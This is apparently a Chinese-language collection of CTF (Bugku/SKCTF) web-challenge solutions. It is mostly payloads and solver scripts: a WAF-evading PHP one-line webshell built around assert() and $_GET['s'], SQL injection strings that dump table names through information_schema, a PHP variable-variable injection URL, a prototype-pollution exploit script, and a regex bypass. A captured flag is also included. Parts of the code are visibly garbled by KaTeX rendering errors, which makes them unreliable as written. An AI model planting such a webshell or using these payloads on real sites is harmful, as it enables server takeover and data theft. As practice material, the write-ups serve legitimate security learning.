描 述: 送给大家一个过狗一句话 $poc=“a#s#s#e#r#t”; KaTeX parse error: Expected 'EOF', got '#' at position 16: poc_1=explode("#̲",poc);
p
o
c
2
=
poc_2=
poc2=poc_1[0].
p
o
c
1
[
1
]
.
poc_1[1].
poc1[1].poc_1[2].
p
o
c
1
[
3
]
.
poc_1[3].
poc1[3].poc_1[4].$poc_1[5];
p
o
c
2
(
poc_2(
poc2(_GET[‘s’])
描述中
存在参数s
存在assert()代码执行漏洞
可以利用参数s传入php代码,利用assert()执行代码


描 述: 来源山科大ctf
http://114.67.175.224:11678
1' or '1'='1'#

-1’ union select 1,2,3,database()#得到数据库名skctf_flag
然后爆表名:通过使用 id=-1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# 得到表名:fl4g,sc
-1' union select 1,2,3,skctf_flag from fl4g#

描 述: 秋名山车神
亲请在2s内计算老司机的车速是多少
75279524+1657764087+1201048930-1446001271*2101146556+1437496613-942194510*1041927694*1606247404-589875910-1598848247=?;
import requests
from lxml import etree
'''
eval():将字符串str当成有效的表达式来求值并返回计算结果
'''
url = 'http://114.67.175.224:12793/'
response = requests.session()
re = response.get(url=url).content.decode('utf-8')
elements = etree.HTML(re).xpath('//div/text()')[0][0:-3]
result = eval(elements)
print(result,'\n')
data = {
'value':result
}
flag = response.post(url=url,data=data).content.decode('utf-8')
# flag_x = etree.HTML(flag)
# # print(etree.tostring(flag_x,encoding='utf-8').decode('utf-8'))
print(flag)

描 述: 速度要快!
http://114.67.175.224:18523
抓包对flag base64解密两次

import requests#bugku 速度要快 --爬虫练习
import base64
s =requests.Session()
headers =s.get("http://114.67.175.224:18523/").headers
str1 = base64.b64decode(headers['flag'])
str2 = base64.b64decode(repr(str1).split(':')[1])
data= {'margin':str2}
flag = s.post("http://114.67.175.224:18523/",data=data)
print(flag.text)
flag{9c1d2117687e481ce51f93f06a3b17e6}
WEB 已解决
描 述: flag{}


http://114.67.175.224:11387/?flag=$a=%27flxg%27;$a{2}=%27a%27;11111111111111111;?%3E%3C?=$$a;?%3E



index.js文件
打开index.js得到源代码
发现set-value,判断存在js原型链污染


import requests
import random
from bs4 import BeautifulSoup
import re
import base64
s = requests.session() #保持同一个会话
def reg(url):
url=url+"reg"
r=s.get(url)
print(r.text)
def update(url,data):
url=url+"update"
print(url)
r=s.post(url,data=data)
print(r.text)
def getflag(url,data):
url=url+"getflag"
r=s.post(url,data=data)
print(r.text)
url="http://114.67.175.224:13101/"
reg(url)
data={"attrkey":"age","attrval":"20"}
update(url,data)
data={"attrkey":"__proto__.pwd","attrval":"123"}
update(url,data)
data={"password":"123","key":"pwd"}
getflag(url,data)

描 述: 字符?正则?
<?php
highlight_file('2.php');
$key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>

. 匹配除 "\n" 之外的任何单个字符
* 匹配它前面的表达式0次或多次,等价于{0,}
{4,7} 最少匹配 4 次且最多匹配 7 次,结合前面的 . 也就是匹配 4 到 7 个任意字符
\/ 匹配 / ,这里的 \ 是为了转义
[a-z] 匹配所有小写字母
[:punct:] 匹配任何标点符号
/i 表示不分大小写
http://114.67.175.224:14152/?id=keykey11111key:/5/keya=
